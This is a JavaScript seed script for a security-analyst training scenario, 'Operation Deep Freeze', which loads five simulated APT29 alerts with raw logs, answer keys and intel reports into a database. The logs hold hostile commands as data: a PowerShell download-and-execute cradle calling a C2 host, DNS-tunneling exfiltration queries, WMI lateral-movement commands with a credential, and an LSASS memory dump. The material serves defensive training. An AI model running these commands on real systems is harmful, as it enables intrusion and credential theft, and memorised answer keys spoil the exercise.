// Seed Script: Operation Deep Freeze
// A 5-alert narrative campaign about APT29 (Cozy Bear) targeting a government agency
// Run with: node src/scripts/seed_operation_deep_freeze.js

const db = require('../db');

const operationData = {
    title: 'Operation Deep Freeze',
    apt_group: 'APT29 (Cozy Bear)',
    description: 'Investigate a coordinated cyber espionage campaign targeting government infrastructure. Each alert reveals another piece of the puzzle.',
    story_intro: `**INCOMING TRANSMISSION**

Agent, you've been assigned to Operation Deep Freeze.

Intelligence indicates that APT29, also known as "Cozy Bear", has launched a sophisticated attack against ICEWALL - a classified government research facility. 

Your mission: Analyze each incident, identify the threat actor's tactics, and piece together their objective before critical data is exfiltrated.

The clock is ticking. Good luck.

**// END TRANSMISSION //**`,
    difficulty_level: 'intermediate',
    icon_url: '/images/operation_freeze.png'
};

const alertsData = [
    {
        sequence_order: 1,
        alert: {
            title: 'Spear Phishing Email Detected - ICEWALL Employee',
            severity: 'medium',
            source: 'Email Gateway',
            alert_type: 'Phishing',
            mitre_technique: 'T1566.001',
            details: 'Suspicious email detected targeting Dr. Sarah Chen, Senior Research Scientist at ICEWALL facility. Email claims to be from "Arctic Research Council" with an attachment named "Q4_Research_Grant_Application.docx".',
            raw_log: `Timestamp: 2024-01-15T09:23:41Z
Event Type: Email Received
Source: mail-gateway-01.icewall.gov
Message-ID: <20240115092341.ABC123@arctic-research-council.org>
From: grants@arctic-research-council.org
Reply-To: grants@arctic-research-counci1.org
To: sarah.chen@icewall.gov
Subject: Urgent: Q4 Research Grant Application - Deadline Extended
X-Originating-IP: 185.220.101.45
X-Mailer: Microsoft Outlook 16.0
Attachments: Q4_Research_Grant_Application.docx (Size: 847KB, SHA256: 3a7b9c2d1e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b)
SPF: FAIL
DKIM: FAIL
DMARC: FAIL
Content-Analysis: Macro-enabled document detected
URL in body: hxxps://arctic-research-counci1[.]org/grant-portal/login

--- Header Analysis ---
Return-Path does not match From address
Domain registered 3 days ago via offshore registrar
Similar domain to legitimate: arctic-research-council.org vs arctic-research-counci1.org (typosquat)`,
            playbook_solution: JSON.stringify({
                verdict: 'true_positive',
                indicators: [
                    { type: 'ip', value: '185.220.101.45', description: 'Originating IP - Known Tor exit node' },
                    { type: 'domain', value: 'arctic-research-counci1.org', description: 'Typosquatting domain' },
                    { type: 'hash', value: '3a7b9c2d1e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b', description: 'Malicious macro document' },
                    { type: 'url', value: 'hxxps://arctic-research-counci1[.]org/grant-portal/login', description: 'Credential harvesting page' }
                ],
                attack_type: 'Spear Phishing',
                mitre_tactics: ['Initial Access'],
                recommended_actions: ['Block sender domain', 'Quarantine email', 'Alert user', 'Check if attachment was opened']
            })
        },
        intel_report_title: 'INTEL REPORT #1: The Lure',
        intel_report_content: `## The Lure

Your analysis confirmed our suspicions. APT29 has initiated contact.

**Key Findings:**
- The typosquatting domain \`arctic-research-counci1.org\` (note the "1" instead of "l") was registered just 3 days before the attack
- The originating IP (185.220.101.45) is a known Tor exit node - a classic APT29 tradecraft for attribution evasion
- The macro-enabled document is a dropper for a second-stage payload

**Intelligence Update:**
We've confirmed Dr. Chen opened the attachment at 09:47 local time. Her workstation has been isolated, but not before network traffic was detected to an unknown external IP.

Prepare for the next alert - the threat actor has likely established a foothold.

*Classification: CONFIDENTIAL*`
    },
    {
        sequence_order: 2,
        alert: {
            title: 'Malicious PowerShell Execution Detected',
            severity: 'high',
            source: 'Endpoint Detection (EDR)',
            alert_type: 'Execution',
            mitre_technique: 'T1059.001',
            details: 'Suspicious PowerShell activity detected on workstation ICEWALL-WS-047 (Dr. Sarah Chen). Encoded command execution with network callback observed.',
            raw_log: `Timestamp: 2024-01-15T09:47:23Z
Host: ICEWALL-WS-047
Username: sarah.chen
Process: powershell.exe
Parent Process: WINWORD.EXE (PID: 4892)
Command Line: powershell.exe -NoP -NonI -W Hidden -Enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAtAHUAcABkAGEAdABlAHMALgBhAHoAdQByAGUAZQBkAGcAZQAuAG4AZQB0AC8AdgAyAC8AcwB5AG4AYwAnACkA

Decoded Command: iex (New-Object Net.WebClient).DownloadString('https://cdn-updates.azureedge.net/v2/sync')

Network Connections:
- Outbound HTTPS to 23.97.61.143:443 (cdn-updates.azureedge.net)
- Outbound DNS to 8.8.8.8:53

File Dropped: C:\\Users\\sarah.chen\\AppData\\Local\\Temp\\updater.dll
File Hash (SHA256): 7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a

EDR Signature: Cobalt Strike Beacon - WELLMESS Variant Detected`,
            playbook_solution: JSON.stringify({
                verdict: 'true_positive',
                indicators: [
                    { type: 'ip', value: '23.97.61.143', description: 'C2 Server IP' },
                    { type: 'domain', value: 'cdn-updates.azureedge.net', description: 'Fake Azure CDN domain for C2' },
                    { type: 'hash', value: '7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a', description: 'Cobalt Strike DLL' },
                    { type: 'file_path', value: 'C:\\Users\\sarah.chen\\AppData\\Local\\Temp\\updater.dll', description: 'Dropped malware' }
                ],
                attack_type: 'Command Execution / Malware Delivery',
                mitre_tactics: ['Execution', 'Command and Control'],
                recommended_actions: ['Isolate host', 'Block C2 domain/IP', 'Memory forensics', 'Timeline analysis']
            })
        },
        intel_report_title: 'INTEL REPORT #2: The Foothold',
        intel_report_content: `## The Foothold

The macro worked. APT29 has established persistence.

**Key Findings:**
- Classic "fileless" attack: PowerShell downloads and executes code directly in memory
- The C2 domain \`cdn-updates.azureedge.net\` mimics legitimate Azure infrastructure
- EDR identified the payload as WELLMESS - a custom APT29 implant first seen in 2018

**Threat Actor Profile - APT29:**
- Also known as: Cozy Bear, The Dukes, YTTRIUM
- Attribution: Russian Foreign Intelligence Service (SVR)
- Known for: SolarWinds supply chain attack, COVID-19 vaccine research targeting

**Intelligence Update:**
Dr. Chen's workstation has been seized for forensic analysis. However, we've detected unusual DNS queries from other hosts on the network.

They're already moving laterally. Stay vigilant.

*Classification: SECRET*`
    },
    {
        sequence_order: 3,
        alert: {
            title: 'Suspicious DNS Queries - Possible Data Exfiltration',
            severity: 'high',
            source: 'Network IDS',
            alert_type: 'Exfiltration',
            mitre_technique: 'T1048.003',
            details: 'Anomalous DNS query patterns detected from internal server ICEWALL-FS-02 (File Server). Queries contain encoded data to suspicious external domain.',
            raw_log: `Timestamp Range: 2024-01-15T14:23:00Z to 2024-01-15T14:47:00Z
Source Host: ICEWALL-FS-02 (10.10.50.12)
DNS Server: 10.10.1.1 (Internal)
External Resolver: 8.8.8.8

Suspicious Queries (Sample - 847 total in 24min window):
- aGVsbG8gd29ybGQ.status.research-metrics.net (TXT)
- dGhpcyBpcyBhIHRlc3Q.status.research-metrics.net (TXT)  
- ZXhmaWx0cmF0aW9uIGRhdGE.status.research-metrics.net (TXT)
- c2VjcmV0IGZpbGVz.status.research-metrics.net (TXT)
- cHJvamVjdCBpY2V3YWxs.status.research-metrics.net (TXT)

Domain Analysis:
- research-metrics.net registered 2024-01-10
- Registrant: Privacy Protected (Njalla)
- Nameservers: ns1.suspiciousdns.ru, ns2.suspiciousdns.ru

Decoded Subdomains (Base64):
- aGVsbG8gd29ybGQ = "hello world"
- cHJvamVjdCBpY2V3YWxs = "project icewall"

Query Rate: ~35 queries/minute (normal baseline: 2-3 queries/minute)
Data Estimated Exfiltrated: ~400KB based on query volume and encoding`,
            playbook_solution: JSON.stringify({
                verdict: 'true_positive',
                indicators: [
                    { type: 'domain', value: 'research-metrics.net', description: 'DNS tunneling C2 domain' },
                    { type: 'ip', value: '10.10.50.12', description: 'Compromised file server' },
                    { type: 'technique', value: 'DNS Tunneling', description: 'Data exfiltration via DNS TXT queries' }
                ],
                attack_type: 'Data Exfiltration via DNS Tunneling',
                mitre_tactics: ['Exfiltration', 'Command and Control'],
                recommended_actions: ['Block domain at DNS', 'Isolate file server', 'Identify accessed files', 'Check for lateral movement from WS-047']
            })
        },
        intel_report_title: 'INTEL REPORT #3: The Tunnel',
        intel_report_content: `## The Tunnel

Data is leaving the building.

**Key Findings:**
- APT29 established a DNS tunneling channel from the file server
- Base64-encoded data is being smuggled out via DNS TXT record queries
- The query rate (35/min vs baseline 2-3/min) is a clear indicator of abuse
- Domain registered with privacy-focused registrar Njalla - common for APT operations

**Exfiltration Analysis:**
Decoded queries reference "project icewall" - they know what they're looking for. Estimated 400KB of data has already been exfiltrated. This could include:
- Research documents
- Personnel files
- Network diagrams

**Intelligence Update:**
Firewall logs show the file server has had RPC connections from multiple workstations in the past hour. APT29 is using legitimate Windows protocols to spread.

We need to trace their lateral movement before they reach the crown jewels.

*Classification: TOP SECRET*`
    },
    {
        sequence_order: 4,
        alert: {
            title: 'Lateral Movement via WMI - Domain Controller Access Attempt',
            severity: 'critical',
            source: 'SIEM Correlation',
            alert_type: 'Lateral Movement',
            mitre_technique: 'T1047',
            details: 'Windows Management Instrumentation (WMI) used to execute remote commands across multiple hosts, culminating in an access attempt to the domain controller.',
            raw_log: `Timestamp: 2024-01-15T16:12:33Z
Source: SIEM Rule - "Lateral Movement Chain Detected"

Event Chain:
1. [16:02:11] ICEWALL-WS-047 -> ICEWALL-FS-02 (WMI Remote Process Create)
   Command: cmd.exe /c whoami > C:\\Windows\\Temp\\output.txt
   
2. [16:05:44] ICEWALL-FS-02 -> ICEWALL-WS-112 (WMI Remote Process Create)
   Command: powershell.exe -ep bypass -c "Get-ADUser -Filter * | Export-CSV C:\\temp\\users.csv"
   
3. [16:08:22] ICEWALL-WS-112 -> ICEWALL-WS-089 (WMI Remote Process Create)
   Command: net use \\\\ICEWALL-DC-01\\C$ /user:admin.backup P@ssw0rd!2024
   
4. [16:12:33] ICEWALL-WS-089 -> ICEWALL-DC-01 (WMI Connection Attempt)
   Status: FAILED - Access Denied
   User Context: admin.backup (Service Account)

Accounts Used:
- sarah.chen (initial compromise)
- svc_backup (harvested from WS-112)
- admin.backup (attempted for DC access)

Source IPs: 10.10.10.47, 10.10.50.12, 10.10.10.112, 10.10.10.89
Target IP: 10.10.1.10 (ICEWALL-DC-01)`,
            playbook_solution: JSON.stringify({
                verdict: 'true_positive',
                indicators: [
                    { type: 'ip', value: '10.10.1.10', description: 'Domain Controller - attack target' },
                    { type: 'user', value: 'admin.backup', description: 'Compromised privileged account' },
                    { type: 'user', value: 'svc_backup', description: 'Harvested service account' },
                    { type: 'technique', value: 'WMI Lateral Movement', description: 'Living off the land technique' }
                ],
                attack_type: 'Lateral Movement / Privilege Escalation',
                mitre_tactics: ['Lateral Movement', 'Privilege Escalation', 'Credential Access'],
                recommended_actions: ['Disable compromised accounts', 'Isolate affected hosts', 'Reset service account passwords', 'Enable WMI logging', 'Hunt for additional compromised accounts']
            })
        },
        intel_report_title: 'INTEL REPORT #4: The Spread',
        intel_report_content: `## The Spread

They're going for the keys to the kingdom.

**Key Findings:**
- APT29 used WMI (Windows Management Instrumentation) for "living off the land" lateral movement
- They're systematically harvesting credentials and mapping the network
- A service account (admin.backup) was discovered and used to attempt DC access
- The attack was blocked at the Domain Controller - but just barely

**Attack Timeline:**
\`\`\`
16:02 - WS-047 (Patient Zero) -> FS-02 (File Server)
16:05 - FS-02 -> WS-112 (AD enumeration detected)
16:08 - WS-112 -> WS-089 (Credential harvesting)
16:12 - WS-089 -> DC-01 (BLOCKED)
\`\`\`

**Critical Intelligence:**
The attacker is now aware that their DC access was denied. APT29 is known for patience and persistence. They will try again with different credentials.

One more alert remains. The finale.

*Classification: TOP SECRET / NOFORN*`
    },
    {
        sequence_order: 5,
        alert: {
            title: 'Credential Dumping Detected - LSASS Access',
            severity: 'critical',
            source: 'Endpoint Detection (EDR)',
            alert_type: 'Credential Access',
            mitre_technique: 'T1003.001',
            details: 'Memory access to LSASS process detected on ICEWALL-WS-089. High confidence credential harvesting operation. Immediate action required.',
            raw_log: `Timestamp: 2024-01-15T17:34:56Z
Host: ICEWALL-WS-089
Alert: CRITICAL - LSASS Memory Access Detected

Process Chain:
1. Parent: svchost.exe (PID: 672) - Legitimate
2.     -> rundll32.exe (PID: 8844)
3.         -> comsvcs.dll,MiniDump 672 C:\\Windows\\Temp\\debug.dmp full

Target Process: lsass.exe (PID: 672)
Access Type: PROCESS_VM_READ | PROCESS_QUERY_INFORMATION
Dump File Created: C:\\Windows\\Temp\\debug.dmp
Dump File Size: 156MB
Dump File Hash: 9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b

EDR Detection: T1003.001 - LSASS Memory Dump via comsvcs.dll (MiniDump)

User Context: SYSTEM (via token impersonation)
Previous Process: powershell.exe executed Invoke-TokenManipulation

Network Activity Post-Dump:
- 17:35:12: Outbound connection to 45.77.65.211:443
- 17:35:18: 156MB data transfer initiated
- 17:35:47: Connection terminated (transfer incomplete - blocked by firewall)

Credentials at Risk:
- Domain Admin: icewall\\domain.admin
- Enterprise Admin: icewall\\enterprise.svc
- All cached credentials on WS-089`,
            playbook_solution: JSON.stringify({
                verdict: 'true_positive',
                indicators: [
                    { type: 'ip', value: '45.77.65.211', description: 'Exfiltration server for credential dump' },
                    { type: 'hash', value: '9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b', description: 'LSASS memory dump' },
                    { type: 'file_path', value: 'C:\\Windows\\Temp\\debug.dmp', description: 'Credential dump file' },
                    { type: 'user', value: 'icewall\\domain.admin', description: 'Potentially compromised Domain Admin' }
                ],
                attack_type: 'Credential Dumping',
                mitre_tactics: ['Credential Access', 'Exfiltration'],
                recommended_actions: ['Isolate host immediately', 'Force password reset for ALL domain admins', 'Delete dump file forensically', 'Block exfil IP', 'Activate incident response']
            })
        },
        intel_report_title: 'INTEL REPORT #5: The Endgame',
        intel_report_content: `## The Endgame

**OPERATION DEEP FREEZE - CONCLUDED**

Congratulations, Agent. You've successfully tracked APT29 through their entire kill chain.

**Final Assessment:**
- **Initial Access:** Spear phishing with macro-enabled document
- **Execution:** PowerShell + Cobalt Strike beacon
- **Persistence:** WELLMESS implant
- **Lateral Movement:** WMI-based living-off-the-land
- **Exfiltration:** DNS tunneling + HTTPS
- **Credential Access:** LSASS memory dump (BLOCKED)

**Outcome:**
Thanks to your analysis, the exfiltration of the credential dump was blocked. While some research data was lost via DNS tunneling, the Domain Admin credentials were NOT compromised.

The threat actor has been expelled from the network. Remediation is underway.

**Your Performance:**
You demonstrated strong analytical skills across multiple alert types. Your ability to correlate events and identify the threat actor's objectives was critical to this operation's success.

**APT29 will return.** They always do. But now you're ready.

*// OPERATION COMPLETE //*

*Classification: TOP SECRET / NOFORN*

---

*This was a simulated training scenario based on real APT29 TTPs.*`
    }
];

async function seedOperation() {
    console.log('🎯 Seeding Operation Deep Freeze...');
    
    try {
        // 1. Create the operation
        const opResult = await db.query(`
            INSERT INTO operations (title, apt_group, description, story_intro, difficulty_level, icon_url, display_order, is_active)
            VALUES (?, ?, ?, ?, ?, ?, 1, TRUE)
        `, [
            operationData.title,
            operationData.apt_group,
            operationData.description,
            operationData.story_intro,
            operationData.difficulty_level,
            operationData.icon_url
        ]);
        
        const operationId = opResult.insertId || opResult.rows?.insertId;
        console.log(`✅ Created operation with ID: ${operationId}`);
        
        // 2. Create alerts and link them
        for (const alertData of alertsData) {
            // Create alert
            const alertResult = await db.query(`
                INSERT INTO alerts (title, severity, source, alert_type, mitre_technique, details, raw_log, playbook_solution, status)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, 'new')
            `, [
                alertData.alert.title,
                alertData.alert.severity,
                alertData.alert.source,
                alertData.alert.alert_type,
                alertData.alert.mitre_technique,
                alertData.alert.details,
                alertData.alert.raw_log,
                alertData.alert.playbook_solution
            ]);
            
            const alertId = alertResult.insertId || alertResult.rows?.insertId;
            console.log(`  📋 Created alert "${alertData.alert.title}" with ID: ${alertId}`);
            
            // Link to operation
            await db.query(`
                INSERT INTO operation_alerts (operation_id, alert_id, sequence_order, intel_report_title, intel_report_content)
                VALUES (?, ?, ?, ?, ?)
            `, [
                operationId,
                alertId,
                alertData.sequence_order,
                alertData.intel_report_title,
                alertData.intel_report_content
            ]);
        }
        
        // 3. Update total_alerts count
        await db.query('UPDATE operations SET total_alerts = ? WHERE id = ?', [alertsData.length, operationId]);
        
        console.log(`\n🎉 Operation Deep Freeze seeded successfully with ${alertsData.length} alerts!`);
        console.log(`   Operation ID: ${operationId}`);
        
    } catch (error) {
        console.error('❌ Error seeding operation:', error);
    }
    
    process.exit(0);
}

seedOperation();
